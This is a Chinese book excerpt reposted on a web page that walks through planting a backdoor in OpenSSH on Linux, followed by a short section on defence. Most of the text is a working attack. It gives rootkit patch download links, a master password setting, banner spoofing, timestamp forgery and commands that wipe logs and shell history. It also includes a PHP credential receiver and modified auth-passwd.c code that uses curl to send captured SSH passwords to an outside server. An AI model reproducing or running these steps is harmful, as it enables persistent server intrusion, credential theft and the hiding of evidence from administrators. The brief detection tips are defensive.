中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Linux OpenSSH后門的添加與防范

發布時間:2020-08-10 20:08:00 來源:ITPUB博客 閱讀:125 作者:broadviewbj 欄目:建站服務器

引言:相對于Windows,Linux操作系統的密碼較難獲取。不過很多Linux服務器配置了OpenSSH服務,在獲取root權限的情況下,可以通過修改或者更新OpenSSH代碼等方法,截取并保存其SSH登錄賬號和密碼,甚至可以留下一個隱形的后門,達到長期控制Linux服務器的目的。 
很多入侵者在攻破一個Linux系統后,都會在系統中留下后門,用OpenSSH留后門是入侵者的慣用方式之一。OpenSSH后門比較難檢測,本文選自《黑客攻防:實戰加密與解密》將與您一起探討如何添加及防范OpenSSH后門。

1 OpenSSH簡介

  OpenSSH是SSH(Secure Shell)協議的免費開源實現。很多人誤認為OpenSSH與OpenSSL有關聯,但實際上這兩個計劃有不同的目的和不同的發展團隊,名稱相近只是因為兩者有同樣的發展目標──提供開放源代碼的加密通信軟件。 
OpenSSH是OpenBSD的子計劃,其官方網站地址為http://www.openssh.com/。OpenSSH的各個版本可以到其官網下載。 
  SSH協議族可以用來進行遠程控制,或者在計算機之間傳送文件。而實現此功能的傳統方式,如Telnet(終端仿真協議)、RCP、FTP、Rlogin、RSH,都是極不安全的,并且會使用明文傳送密碼。OpenSSH提供了服務端后臺程序和客戶端工具,用來加密遠程控件和文件傳輸過程中的數據,并由此來代替原來的類似服務。OpenSSH是通過計算機網絡使用SSH加密通信的實現,是取代由SSH Communications Security提供的商用版本的開放源代碼方案。在OpenSSH服務中,sshd是一個典型的獨立守護進程,OpenSSH服務可以通過“/etc/ssh/sshd_config”文件進行配置。OpenSSH支持SSH協議的1.3、1.5和2版本。自OpenSSH 2.9發布以來,默認的協議是版本2。

2 準備工作

01 下載openssh-5.9p1.tar.gz

  openssh-5.9p1.tar.gz的下載地址為http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz。

02 下載后門文件

  后門文件下載地址為http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1. patch.tar.gz。

03 準備Linux虛擬機

  準備Linux虛擬機Centos 6.4。

04 查看SSH當前版本信息

  目前網上支持的SSH后門版本為5.9以下。如下圖,使用“ssh -V”命令獲取的OpenSSH版本信息為“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。 
Linux OpenSSH后門的添加與防范
  筆者未對高于5.9版本的SSH進行測試,但因為在Patch中可以直接修改banner的值,所以這在理論上是可行的。

注意:一定要將這里的版本號記錄下來,以便在編譯時將該信息進行偽裝。

05 備份SSH原始配置文件

  如圖,將ssh_config和sshd_config分別備份為ssh_config.old和sshd_config.old。在Linux終端分別執行如下文件備份命令。

Linux OpenSSH后門的添加與防范

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

06 解壓SSH后門

  將sshbd.tgz下載到本地并解壓 
Linux OpenSSH后門的添加與防范
  執行以下命令。

tar zxvf sshbd.tgz cd openssh

  如果使用官方安裝包openssh-5.9p1進行安裝,可以執行以下命令。

tar zxf openssh-5.9p1.tar tar zxf openssh-5.9p1.path.tar cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

3 設置SSH后門的登錄密碼及其密碼記錄位置

  在OpenSSH目錄中找到includes.h文件,運行“vi includes.h”命令修改“define _SECRET_PASSWD”為我們的登錄密碼,如圖。 
Linux OpenSSH后門的添加與防范
  默認密碼記錄日志文件保存在“/usr/local/share/0wn”目錄下的slog和clog文件中。假設密碼為“995430aaa”,代碼如下。

define _SECRET_PASSWD " 995430aaa"

4 安裝并編譯后門

01 編譯和安裝

  運行如下代碼。

 ./configure –prefix=/usr –sysconfdir=/etc/ssh make && make install

  openssh-5.9p1需要使用下面的命令進行配置。

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

  在編譯過程中可能會出現“configure: error: * zlib.h missing – please install first or check config.log”錯誤。此時,執行“yum install zlib-devel”和“yum install openssl openssl-devel”命令,安裝后再次進行編譯即可。

02 重啟SSHD服務

  執行“/etc/init.d/sshd restart”命令,重啟SSHD服務。

03 還原新配置文件為舊配置文件的時間

  執行以下命令,使ssh_config和sshd_config文件的修改時間與ssh_config.old和sshd_config.old文件一致。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config
  • mtime(modify time):最后一次修改文件或目錄的時間。
  • ctime(chang time):最后一次改變文件或目錄(改變的是原數據,即屬性)的時間,如該文件的inode節點被修改的時間。touch命令除了“-d”和“-t”選項外,都會改變該時間。chmod、chown等命令也能改變該值。
  • atime(access time):最后一次訪問文件或目錄的時間。
  • ls -l file:查看文件修改時間。
  • ls -lc file:查看文件狀態改動時間。
  • ls -lu file:查看文件訪問時間。
  • stat file:文件時間的3個屬性。

5 登錄后門并查看記錄的密碼文件

  使用“ssh -l root IP”命令登錄服務器,如“ssh -l root 192.168.52.175”。可以使用root的密碼,也可以使用后門設置的密碼“995430aaa”進行登錄。然后,訪問“/usr/local/ share/0wn”目錄,查看其記錄的密碼日志文件clog和slog,如下圖可以看到SSH登錄和本地root賬號登錄的密碼。

  在實際測試過程中,還需要清除Apache日志。可供參考的日志清除命令如下。

export HISTFILE=/dev/null export HISTSIZE=0 cd /etc/httpd/logs/ sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

6 拓展密碼記錄方式

  前面記錄的密碼只能在Linux服務器上面看,也就是說,用戶必須擁有讀取文件的權限,如果沒有權限則無法登錄服務器。在這里,最好的方法是記錄的用戶、密碼和端口可以通過郵件或者HTTP直接發送到接收端(與黑產收信類似)。下面介紹具體實現方法。

01 接收端ssh.php代碼

<?php $username = $_POST['username']; $password = $_POST['password']; $host = $_POST['host']; $port = $_POST['port']; $time=date('Y-m-d H:i:s',time()); if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{ $fp = fopen("sshlog.txt","a+"); $result = "sername:.$username--->:Password:$password----->:Host:$host ----->:port:$port----->:time:$time";
        fwrite($fp,$result);
        fwrite($fp,"\r\n");
        fclose($fp);
} ?>

02 修改auth-passwd.c文件的內容

int userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char *pass[200];
    char szres[1024] = {0};
    FILE *f;
    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port"; if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; } while(fgets(tempBuf, 1024, FTopen) != NULL) { if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen); return Filetext;
    }

    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    strcpy(pass,password); //截取密碼的時候把它復制到自定義的地方,以便調用
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
&input_userauth_passwd_changereq); if((f=fopen("/tmp/olog","a+"))!=NULL){ 
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n", authctxt->server_user,pass,authctxt->host,findport());
        fclose(f);}  

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password= %s&host=%s&port=%s\" http://www.antian365.com/ssh.php >/dev/null",authctxt-> server_user,pass, authctxt->host,findport()); system(szres); return 1;
}

  重新編譯,執行后會自動將密碼發送到服務器。但筆者在實際測試中并沒有達到這樣的效果,相關信息請讀者訪問http://0cx.cc/ssh_get_password.jspx查看并驗證。

7 OpenSSH后門的防范方法

  OpenSSH后門的防范方法如下。

  • 重裝OpenSSH軟件,更新至最新版本7.2。
  • 將SSH默認登錄端口22更改為其他端口。
  • 在IPTable中添加SSH訪問策略。
  • 查看命令歷史記錄,對可疑文件進行清理。在有條件的情況下,可重做系統。
  • 修改服務器所有用戶的密碼為新的強健密碼。

運行“ps aux | grep sshd”命令獲取可疑進程的PID,運行“strace -o aa -ff -p PID”命令進行跟蹤,成功登錄SSH后,在當前目錄下就生成了strace命令的輸出。使用“grep open aa* | grep -v -e No -e null -e denied| grep WR”命令查看記錄文件。在上面的命令中,過濾錯誤信息、/dev/null信息和拒絕(denied)信息,找出打開了讀寫模式(WR)的文件(因為要把記錄的密碼寫入文件)。可以找到以讀寫方式記錄在文件中的SSH后門密碼文件的位置,并通過該方法判斷是否存在SSH后門。當然,也有不記錄密碼,而僅僅留下一個萬能SSH后門的情況。

8 小結

  獲取Linux的版本及其信息,命令如下。

cat /etc/issue
uname –ar

  獲取SSH版本的信息并記錄,命令如下。

ssh -V >ssh.txt

  下載OpenSSH客戶端及后門程序,命令如下。網上還有一個版本sshd.tar.gz。

wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz

備份SSH配置文件,命令如下。

mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old

  安裝必備軟件,命令如下。

yum install -y openssl openssl-devel pam-devel zlib zlib-devel

  解壓并安裝補丁,命令如下。

tar zxf openssh-5.9p1.tar.gz tar zxf openssh-5.9p1.tar.gz cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1
cd openssh-5.9p1
patch < sshbd5.9p1.diff

  修改includes.h文件中記錄用戶名和密碼的文件位置及其密碼,命令如下。

#define ILOG "/tmp/ilog" //記錄登錄本機的用戶名和密碼 #define OLOG "/tmp/olog" //記錄本機登錄遠程的用戶名和密碼 #define SECRETPW "123456654321" //后門的密碼

  修改version.h文件,使其修改后的版本信息為原始版本,命令如下。

#define SSH_VERSION "填入之前記下來的版本號,偽裝原版本" #define SSH_PORTABLE "小版本號"

  安裝并編譯,命令如下。

./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 make clean make && make install service sshd restart 

  恢復新配置文件的日期,使其與舊文件的日期一致。對ssh_config和sshd_config文件的內容進行對比,使其配置文件一致,然后修改文件日期。

touch -r  /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r  /etc/ssh/sshd_config.old /etc/ssh/sshd_config

  清除操作日志,代碼如下。

export HISTFILE=/dev/null export HISTSIZE=0 cd /etc/httpd/logs/ sed -i ‘/192.168.52.175/d’ access_log*
echo >/root/.bash_history //清空操作日志

  本文選自《黑客攻防:實戰加密與解密》,點此鏈接可在博文視點官網查看此書。

                      Linux OpenSSH后門的添加與防范


  想及時獲得更多精彩文章,可在微信中搜索“博文視點”或者掃描下方二維碼并關注。
                       Linux OpenSSH后門的添加與防范
向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

黔南| 偃师市| 鹤壁市| 洛浦县| 泾阳县| 监利县| 吴江市| 澳门| 泗水县| 疏附县| 百色市| 怀柔区| 洪湖市| 马关县| 两当县| 长岭县| 六枝特区| 巴林左旗| 荔波县| 惠水县| 宕昌县| 华阴市| 渭源县| 元阳县| 昭觉县| 南昌县| 铅山县| 盐城市| 五常市| 云南省| 永福县| 江阴市| 桃园市| 新蔡县| 阳高县| 静宁县| 甘肃省| 济源市| 康定县| 吴江市| 漯河市|